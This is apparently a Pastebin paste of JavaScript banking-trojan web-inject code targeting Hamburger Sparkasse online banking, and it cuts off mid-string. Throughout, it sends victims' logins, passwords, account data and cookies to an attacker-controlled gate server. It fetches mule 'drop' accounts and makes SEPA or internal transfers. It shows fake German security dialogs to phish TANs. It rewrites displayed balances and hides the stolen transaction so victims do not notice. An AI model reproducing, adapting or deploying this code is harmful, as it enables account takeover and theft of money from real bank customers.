Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var jq = jQuery.noConflict();
- //var jq = $;
- var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
- document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 708px;margin-left: -354px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_error { display: none; color: #FF0000 !important; font-weight: bold;clear:both; }.pich { color: #999999; font-size:11px; left: 30px;bottom:-10px; position: absolute;}.infp{ font-size: 15px!important; padding: 10px;}.info{float:left; font-size: 20px; margin: 8px 0 0;}.logopic{float:right;}.load{ margin:0 auto!important; width:240px;}</style>');
- var ATS = { bank: 'haspa',
- account_id: 0,
- script_ver: '1.1',
- transf_mode : 'sepa',
- debug_mode: 0,
- debug_transfer: "INT",
- gateURL : 'https://belissimos7.com/nsdghsf333/gate',
- debugVisibleFrame: false,
- debugNoOverlay : false,
- CONTENT_URL: CONTENT_URL,
- current_state : 0,
- sepa_or_int_select_changed : false,
- MaxTransferAccNum:0,
- Timeout:false,
- StepInFrame : {
- 0:"BeginWork",
- 10:"framePageFinanzstatus",
- 20:"confirmform",
- 30:"SEPA_page",
- 110:"SEPA_form_filled",
- 120:"TAN_ENTERED",
- 130:"Internal_transf_page",
- 140:"INT_form_filled",
- 150:"framePageSEPA_fill",
- 160:"framePageInternal_transf_page",
- set_current_state : function(state){
- for (var key in this) {
- if (typeof this[key]!= 'function' && state==this[key]) {
- parent.ATS.current_state=key;
- return key;
- }
- //alert(key+':'+this[key])
- }
- return false;
- }
- },
- isDebugMode: function()
- {
- return ATS.debug_mode;
- },
- getBrowserFull: function()
- {
- var res = 'na';
- try
- {
- var m = navigator.userAgent.match(/Firefox\/(\d+)/);
- if (m)
- {
- res = 'ff' + m[1];
- }
- else
- {
- m = navigator.userAgent.match(/MSIE (\d+)/);
- if (m)
- res = 'ie' + m[1];
- }
- }
- catch(e)
- {
- res = 'ex';
- }
- return res;
- },
- debugMsg: function(message)
- {
- if (this.isDebugMode())
- {
- if (window.console && window.console.log)
- window.console.log(message);
- else
- alert(message);
- }
- },
- _cookies: new Object(),
- setCookie: function(name, value)
- {
- ATS.debugMsg('setCookie: ' + name + ' = ' + value);
- parent.ATS._cookies['#'+name] = value;
- },
- getCookie: function(name)
- {
- if (typeof parent.ATS._cookies['#'+name] == 'undefined')
- return null;
- return parent.ATS._cookies['#'+name];
- },
- serializeCookies: function()
- {
- //if (typeof parent.ATS._cookies != 'function')
- var result = new Array();
- for (var i in parent.ATS._cookies)
- {
- if(i.indexOf('#')==0){
- result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
- }
- }
- return result.join('&');
- },
- unserializeCookies: function(rawData)
- {
- var result = new Object();
- for (var i in rawData)
- {
- result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
- }
- return result;
- },
- saveCookies: function(callback)
- {
- ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
- },
- sendGateRequest: function(action, params, callback)
- {
- //ATS.debugMsg('sendGateRequest: ' + action);
- dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
- var url = ATS.gateURL + '?a=' + action + '&cb=?';
- //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
- //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- //{
- jq.ajax({
- url: url,
- dataType: 'jsonp',
- crossDomain: true,
- data: dat,
- //async: false,
- success: callback,
- error: function(request,error)
- {
- ATS.debugMsg('posible ban ip; ajax error: ' + error);
- jq('.inj_full_overlay').remove();
- ATS.UI_unblockSite();
- jq('#inj_dialog_box').hide();
- }
- });
- //}
- },
- loadData: function(callback)
- {
- ATS.sendGateRequest('load_data', {}, function(data){
- ATS.account_id = data.account_id;
- ATS._cookies = ATS.unserializeCookies(data.cookies);
- if (typeof callback == 'function')
- callback();
- });
- },
- sendLoginInfo: function(login, password, callback)
- {
- ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
- },
- sendLogMsg: function(text, callback)
- {
- ATS.debugMsg('sendLogMsg: ' + text);
- ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
- },
- getDrop: function(transfType, balance, callback)
- {
- ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
- },
- putTransfer: function(transfType, drop, amount, callback)
- {
- ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
- },
- sendAccountsInfo: function(accountsInfo, callback)
- {
- try {
- ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
- } catch(e) {}
- }
- };
- ATS.UI_showWait = function()
- {
- ATS.UI_showDialogBox();
- jq('#inj_page_wait').show();
- jq('#inj_page_brilok').hide();
- jq('#gad_signatur_tan').hide();
- jq('.inj_buttons_block').hide();
- jq('.inj_error').hide();
- }
- ATS.UI_getTAN = function()
- {
- return jq('.nowrap label').text();
- }
- ATS.UI_getInjectCode = function()
- {
- var code =
- '<div id=inj_dialog_box style=\'display: none;\'>'
- +'<div id="headCon"><div id="head" class="clrfix"><div id="logo1"><img src="'+ATS.CONTENT_URL+'/images/Logo_Haspa.png" title="" alt="Hamburger Sparkasse - Homepage"></div><div id="logo2"><img src="'+ATS.CONTENT_URL+'/images/name.gif" alt=""></div></div>'
- + '<div id=inj_page_wait style=\'display: none;\'>'
- +'<div id="content" style="top:90px!important;><div id="inner" class="clrfix"><div class="compBox serv pflg-3 pflg3"><span class="compEcke"> </span><div class="inner clrfix"><div><p>Zu Ihrer Sicherheit</p></div><div class="hLine"><span></span></div>'
- + '<p class="inj_content_para">'
- + langs.getLang('waittext')
- + '<br class="newline" /></p><p class="load"><img s'
- + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p>'
- +'</div></div></div></div></div>'
- +'</div>'//inj_page_wait
- + '<div id="gad_contentbox" style=\'display: none;\'>'
- +'<div id="gad_signatur_tan" style=\'display: none;\'>'
- +'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke"> </span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI"> </div><div class="row clrfix"><label>SmsTAN:</label><input type="text" value="" size="15" id="iTAN" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
- +'</div>'//gad_signatur_tan
- + '<div id="inj_page_brilok" style=\'display: none;\'>'
- +'<div id="trinity"><div id="duality"><div id="content"><div id="inner" class="clrfix"><h1>'+langs.getLang('Authorizetransaction')+'</h1><div class="compBox serv pflg-3 pflg3"><span class="compEcke"> </span><div class="inner clrfix"><div class=""><div><p>'+langs.getLang('autorizetext2')+'</p></div><div class="hLine"><span></span></div></div><form name="f" method="post" action="" onsubmit="return false;"><fieldset class="services"><div class="spaceBlockI"> </div><span id="instext"></span><div class="row clrfix"><label>Enter the TAN sent:</label><input type="text" value="" size="15" id="iTANBrilok" name="nrTan" maxlength="10"><p class="inj_error">'+langs.getLang('errortan')+'</p></div></fieldset></form></div></div><ul class="buttons4 clrfix right"><li><span><input type="button" value="'+langs.getLang('nextbutton')+'" id="inj_Weiter" name="inj_weiter" class="default"></span></li></ul></div></div></div></div></div>'
- +'</div>'
- +'<div class="inj_buttons_block">'
- +'</div>'
- +'</div>'
- + '</div>';
- return jq(code);
- }
- ATS.die = function(msg)
- {
- ATS.sendLogMsg('ERROR: ' + msg);
- ATS.setCookie('error_time', ATS.getTime());
- ATS.setCookie('status', 2);
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- ATS.saveCookies(function(){
- if ((parent.window !== window) && parent.ATS)
- {
- ATS.debugMsg('die in frame');
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- jq('.inj_full_overlay',parent.document).remove();
- }
- else
- {
- ATS.debugMsg('die outside frame');
- ATS.UI_hideDialogBox();
- ATS.UI_unblockSite();
- jq('.inj_full_overlay').remove();
- }
- jq('link').each(function(){
- var lnk=jq(this).attr("href");
- });
- /*
- var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- setTimeout(function(){
- parent.window.document.location.href = nextLink;
- }, 1000);
- */
- });
- }
- ATS.mainWork = function()
- {
- ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
- //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
- switch (ATS.current_state)
- {
- case 0:
- var href = ATS.getFinanzstatusLink();
- if (href)
- {
- ATS.StepInFrame.set_current_state("framePageFinanzstatus");
- var name=jq('div#content > div#inner p:contains(Guten Tag),div#content > div#inner p:contains(Hello)').text().replace(/Hello |,|Guten Tag /gim,"");
- ATS.sendLogMsg('Name: ' + name,ATS.ieFrameHack() );
- }
- else
- {
- ATS.die('mainWork: cant find finanzstatus');
- }
- break;
- }
- }
- ATS.ieFrameHack = function()
- {
- ATS.debugMsg('ATS.ieFrameHack()');
- if (!jq('iframe#ats_wrk_iframe').length)
- {
- //ATS.openInIframe(ATS.getFinanzstatusLink());
- ATS.openInIframe('about:blank');
- /*
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/layout.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/color.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- */
- setTimeout(ATS.ieFrameHack, 3000);
- }
- else
- {
- var n=ATS.getFinanzstatusLink();
- //n=n.replace(/\:/g, '%3A');
- //n=n.replace(/\?/g, '%3F');
- if(!ATS.checkTestPage()){
- // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
- }
- else {
- // var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );
- }
- jq('iframe#ats_wrk_iframe').attr('src',n );
- }
- }
- ATS.UI_hideDialogBox = function()
- {
- jq('#inj_dialog_box').hide();
- }
- ATS.descending= function(a, b)
- {
- return b.kreditbalance- a.kreditbalance;
- }
- ATS.getMaxTransferAcc = function()
- {
- //num = num || 0;
- var num=parent.ATS.MaxTransferAccNum;
- parent.ATS.accounts_list.sort( ATS.descending );
- if (parent.ATS.accounts_list[num]!=null) return parent.ATS.accounts_list[num];
- else
- {
- ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
- }
- /*
- var accountsList = parent.ATS.accounts_list;
- var maxBalance = accountsList[0].balance;
- var tempBalance = 0;
- var maxAcc = null;
- for(var i in accountsList)
- {
- tempBalance= parseFloat(accountsList[i].balance) + parseFloat(accountsList[i].overdraft);
- if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
- {
- maxBalance = tempBalance;
- maxAcc = accountsList[i];
- }
- }
- return maxAcc;
- */
- }
- ATS.UI_onWeiterClick = function()
- {
- if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
- else var tan = jq('#iTANBrilok').val();
- if (tan=="test") {
- if (ATS.isDebugMode()){
- parent.ATS.UI_showWait();
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- return false;}}
- if (tan.length == 6)
- {
- ATS.sendLogMsg('entered TAN ' + tan);
- jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
- }
- else{
- alert(langs.getLang('errorTanEmpty'));
- }
- }
- ATS.padRight = function(input, totalWidth)
- {
- var result = input;
- if (result.length < totalWidth){
- for(var i = result.length; i < totalWidth; i++){
- result = result + 'X'
- }
- }
- return result;
- }
- ATS.framePageReceipt = function()
- {
- ATS.sendLogMsg('framePageReceipt');
- ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
- ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
- var transfer_acc = parent.ATS.maxAcc.number;
- if (transfer_acc)
- {
- ATS.setCookie('transfer_acc', transfer_acc);
- ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
- }
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.setCookie('status', 1);
- ATS.saveCookies(function(){
- var nextLink = ATS.getFinanzstatusLink();
- if (nextLink != '')
- {
- setTimeout(function(){
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- parent.window.document.location.href = nextLink;
- }, 1000);
- }
- });
- });
- }
- ATS.framePageReceiptInternal = function()
- {
- ATS.sendLogMsg('framePageReceiptInternal');
- ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
- ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
- var transfer_acc = parent.ATS.maxAcc.number;
- if (transfer_acc)
- {
- ATS.setCookie('transfer_acc', transfer_acc);
- ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
- }
- ATS.setCookie('status', 1);
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.saveCookies(function(){
- var nextLink = ATS.getFinanzstatusLink();
- if (nextLink != '')
- {
- setTimeout(function(){
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- parent.window.document.location.href = nextLink;
- }, 1000);
- }
- });
- });
- }
- ATS.fin2float = function(text)
- {
- if (langs.getCurLang()=='EN')
- var text = text.toString();
- else
- var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
- return parseFloat(text);
- }
- ATS.float2fin = function(val)
- {
- if (langs.getCurLang()=='DE'){ var delim1="."; var delim2=",";}
- else { var delim1=","; var delim2=".";}
- var intPart = Math.floor(val);
- var fractPart = Math.floor((val - intPart) * 100).toString();
- if (fractPart.length < 2)
- fractPart = '0' + fractPart;
- var newIntPart = '';
- intPart = intPart.toString();
- while (intPart.length > 3)
- {
- newIntPart = delim1 + intPart.substr(intPart.length - 3) + newIntPart;
- intPart = intPart.substr(0, intPart.length - 3);
- }
- newIntPart = intPart + newIntPart;
- return newIntPart + delim2 + fractPart;
- }
- ATS.addElementAmount = function (el, amount, postfix)
- {
- var val=jq.trim(jq(el).text());
- if (langs.getCurLang()=='EN'){
- val=val.replace(/\,/g, '');
- }
- else{
- val=val.replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.');
- }
- console.log(val);
- var val = parseFloat(val);
- var newText='';
- //var newText='<strong>';
- // if (val<0) newText +='<span class="negbal">';
- newText += ATS.float2fin(val + amount);
- if (postfix)
- newText += ' ' + postfix;
- // if (val<0) newText +='</span>';
- //newText +="</strong>";
- jq(el).html(newText);
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.checkTransfer = function(el)
- {
- var percent=parseFloat("0.00");
- var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
- if (isNaN(lastGesamtsaldo)) {
- ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
- return false;
- }
- //var curGesamtsaldo = ATS.fin2float(jq(el).text());
- var curGesamtsaldo = el;
- var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
- var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
- tempsaldo=parseFloat(tempsaldo.toFixed(2));
- //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
- if(tempsaldo==0){
- ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
- return false;
- }
- if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
- return false;
- }
- if(tempsaldo>0){
- if((tempsaldo==rep_amount) || (tempsaldo>rep_amount)){
- var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
- percent=parseFloat(temppers.toFixed(2));
- ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
- if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
- ATS.setCookie('acPercent',percent);
- ATS.saveCookies();
- }
- if (ATS.getCookie('acTransact')!="true"){
- ATS.setCookie('acTransact',true);
- ATS.saveCookies();
- }
- return percent;
- }else{
- ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
- ATS.setCookie('acPercent',tempsaldo);
- ATS.setCookie('acTransact',false);
- ATS.saveCookies();
- return false;
- }
- }
- }
- ATS.replaceMainPage = function()
- {
- ATS.debugMsg('replaceMainPage()');
- jq("#foot_mirror ul").remove();
- if (langs.getCurLang()=='EN'){
- var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
- }else{
- var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));
- }
- var percent =ATS.checkTransfer(saldo);
- ATS.debugMsg('percent= '+percent);
- if(typeof percent === 'boolean') return true;
- if( percent > 15) {
- ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance'); return true;
- }
- var totalReplace = 0;
- var amount = parseFloat(ATS.getCookie('rep_amount'));
- var transfer_acc =ATS.getCookie('transfer_acc');
- jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
- if (langs.getCurLang()=='EN'){
- var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var balance=jq(this).children("td:eq(4)").find("span");
- }
- else{
- var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var balance=jq(this).children("td:eq(4)").find("span");
- }
- if(number==transfer_acc){
- ATS.debugMsg('replaceMainPage: ' + transfer_acc + ' + ' + amount + '; percent = ' + percent);
- ATS.addElementAmount(balance, parseFloat(amount + percent), '');
- totalReplace = parseFloat(amount + percent);
- var upbalance=jq(balance).parents("div.inner").find("h3 .sumValue span");
- ATS.addElementAmount(upbalance, totalReplace, '');
- }
- });
- if(totalReplace>0){
- var saldo=jq('.compBox h3:last span');
- ATS.addElementAmount(saldo, totalReplace, '');
- }
- }
- ATS.replaceUmsatzanzeige = function()
- {
- ATS.debugMsg('replaceUmsatzanzeige()');
- jq("#foot_mirror ul").remove();
- var percent=parseFloat(ATS.getCookie('acPercent'));
- if( percent > 15) {
- ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance'); return true;
- }
- //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
- if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
- var amount = parseFloat(ATS.getCookie('rep_amount'));
- var transfer_acc =ATS.getCookie('transfer_acc');
- var number = jq('label:contains(Kontonummer) + label,label:contains(Account Number) + label').text()
- if(!number ) ATS.sendLogMsg('replaceUmsatzanzeige cant find acc number');
- if (number==transfer_acc){
- ATS.debugMsg('number = ' + number + '; amount = ' + amount + '; percent = ' + percent);
- var el=jq('label:contains(Kontostand vom) + label span:last,label:contains(Account balance on) + label span:last');
- ATS.addElementAmount(el, amount + percent, '');
- var el= jq('tr:has(td:contains(Kontostand EUR)) td:eq(1),tr:has(td:contains(Account balance EUR)) td:eq(1)').find('span');
- ATS.addElementAmount(el, amount + percent, '');
- var hideFlag = false;
- jq('table.tab-1 tr').each(function(i){
- var text = jq.trim(jq(this).find("td:eq(3)").text());
- if (ATS.needToHide(text))
- {
- // ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
- jq(this).hide();
- hideFlag = true;
- }
- });
- jq('table.tab-1 tr.high:visible,table.tab-1 tr.low:visible').each(function(i){
- jq(this).attr('class', (i % 2) ? 'high' : 'low');
- });
- }//--if (number==transfer_acc)--
- }
- ATS.needToHide = function(text)
- {
- var amount = parseFloat(ATS.getCookie('rep_amount'));
- if (amount)
- {
- if (langs.getCurLang()=='EN'){
- text=text.replace(/[^\d.]+/gi, '');
- if (text.indexOf(amount) != -1) return true;
- }
- else{
- text=text.replace(/[^\d,]+/gi, '').replace(",", '.');
- if (text.indexOf(amount) != -1) return true;
- //ATS.debugMsg(text);
- }
- }
- return false;
- }
- ATS.replaceBalances = function()
- {
- ATS.debugMsg('replaceBalances()');
- //ATS.hideLastTAN();
- switch (langs.getCurLang())
- {
- case "EN":
- if (ATS.getPageTitle("Financial status")) ATS.replaceMainPage();
- if (ATS.getPageTitle("View account transactions")) ATS.replaceUmsatzanzeige();
- break;
- default:
- if (ATS.getPageTitle("Finanzstatus")) ATS.replaceMainPage();
- if (ATS.getPageTitle("Kontoums"+String.fromCharCode(0x00E4)+"tze anzeigen") ) ATS.replaceUmsatzanzeige();
- break;
- }
- }
- ATS.findAccountInfo = function(acc_num)
- {
- ATS.debugMsg('acc_num:'+ acc_num);
- var accounts_list = parent.ATS.accounts_list;
- for (var i in accounts_list)
- {
- //if (accounts_list[i] != 'function' )
- //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
- if (acc_num.indexOf(accounts_list[i].number) != -1)
- {
- //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
- return accounts_list[i];
- }
- }
- return false;
- }
- var langs ={
- simple_property: 'Hello',
- EN: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Next",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN must be 6 characters long!",
- Authorizetransaction : "Zu Ihrer Sicherheit",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
- autorizetext2: "To generate a TAN for your instruction Single payment, please proceed as follows:"
- },
- DE: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Weiter",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
- Authorizetransaction : "Zu Ihrer Sicherheit",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:",
- autorizetext2: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
- },
- getLang: function(step) {
- var ln='DE';
- jq('div.cont').each(function(){
- if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
- });
- // return(this.simple_property + ', ' + this[ln][step]);
- return(this[ln][step]);
- },
- getCurLang: function() {
- var ln='DE';
- jq('div.cont').each(function(){
- if (jq(this).html().indexOf("Last Login")!=-1) {ln='EN';}
- });
- return(ln);
- }
- };
- document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}</style>');
- ATS.checkTestPage = function()
- {
- if(jq('#gad_contentbox').length) return true;
- // jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
- else return false;
- }
- ATS.checkLoginPage = function()
- {
- return ! jq('div.timer').length;
- }
- ATS.isLoggedIn = function()
- {
- return !! jq('div.timer').length;
- }
- ATS.UI_blockSite = function()
- {
- if (ATS.debugNoOverlay)
- return;
- if (jq('#inj_block_overlay').length)
- jq('#inj_block_overlay').show();
- else
- {jq('body').prepend('<div id=inj_block_overlay></div>');
- var cssLink = document.createElement("link")
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- jq('body', parent.document).prepend(cssLink);
- }
- }
- ATS.UI_unblockSite = function()
- {
- jq('#inj_block_overlay').hide();
- jq('body > div:not(#inj_block_overlay,#inj_dialog_box,.inj_full_overlay)').show();
- }
- ATS.getFinanzstatusLink = function()
- {
- if(!parent.ATS.finLink){
- parent.ATS.finLink=jq('ul li a:has(span:contains(Financial status)),ul li a:has(span:contains(Finanz'+String.fromCharCode(252)+'bersicht))').attr("href");
- //parent.ATS.finLink=parent.document.location.href;
- }
- return parent.ATS.finLink;
- }
- ATS.UI_showDialogBox = function()
- {
- jq('body > div:not(#inj_dialog_box,.inj_full_overlay)').hide();
- if (!jq('#inj_dialog_box').length)
- {
- var injectCode = ATS.UI_getInjectCode();
- jq('body').append(injectCode);
- jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);
- }
- jq('#inj_dialog_box').show();
- }
- ATS.UI_askTan = function(tanNum, isError)
- {
- if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
- parent.ATS.UI_showDialogBox();
- //parent.ATS.UI_fixBtnLink();
- //var sms=jq('div[id*="TanData"]').html();
- if (!!jq('#legitimation label:contains(SMS)').length){
- parent.ATS.TanType='sms';
- jq('#inj_page_wait', parent.document).hide();
- jq('#inj_page_brilok', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).show();
- jq('#gad_contentbox', parent.document).show();
- }
- else{
- parent.ATS.TanType='brilok';
- jq('#inj_page_wait', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).hide();
- jq('#gad_contentbox', parent.document).show();
- //jq('#instext', parent.document).html(msg);
- jq('#instext',parent.document).html("");
- /*
- var destination=jq('#instext',parent.document);
- jq(source).clone().appendTo(destination,parent.document);
- var legitimation_parent=jq('#instext',parent.document);
- jq(legitimation_parent).find("input,label",parent.document).remove();
- var htmlins=jq(legitimation_parent).html();
- */
- // jq(legitimation_parent).html(htmlins.replace(/\*/gi,""));
- var zapwind=jq('#legitimation div').html();
- //---------------------------------------------------------------
- var re = /StartCode[\D]*([\d]+)/g;
- var arr=re.exec(zapwind);
- if (arr==null) {
- // ATS.sendLogMsg('#legitimation=' + zapwind,function(){
- //ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code"); });
- }
- var startcode=arr[1];
- var re = /Kontonummer|IBAN[\)\:^\D]+([\d\*]+)/gim;
- var arr=re.exec(zapwind);
- if (arr==null) {
- // ATS.sendLogMsg('#legitimation=' + zapwind,function(){
- //ATS.die("ATS.UI_askTan: Regex error- cant find IBAN"); });
- }
- var Kontonummer=arr[1];
- var amount=0;
- if (parent.ATS.transf_mode == 'sepa') amount=parent.ATS.sepa_drop.amount;
- else{amount=parent.ATS.int_drop.amount;}
- if (langs.getCurLang()=='DE'){
- var msg='<p class="gad-margin-top-5">Um eine TAN fur Ihren Unterricht Einmalzahlung zu generieren, gehen Sie bitte wie folgt vor: </p><ul class="gad-content-list">';
- msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drucken "TAN".</span></li>';
- msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drucken "OK".</span></li>';
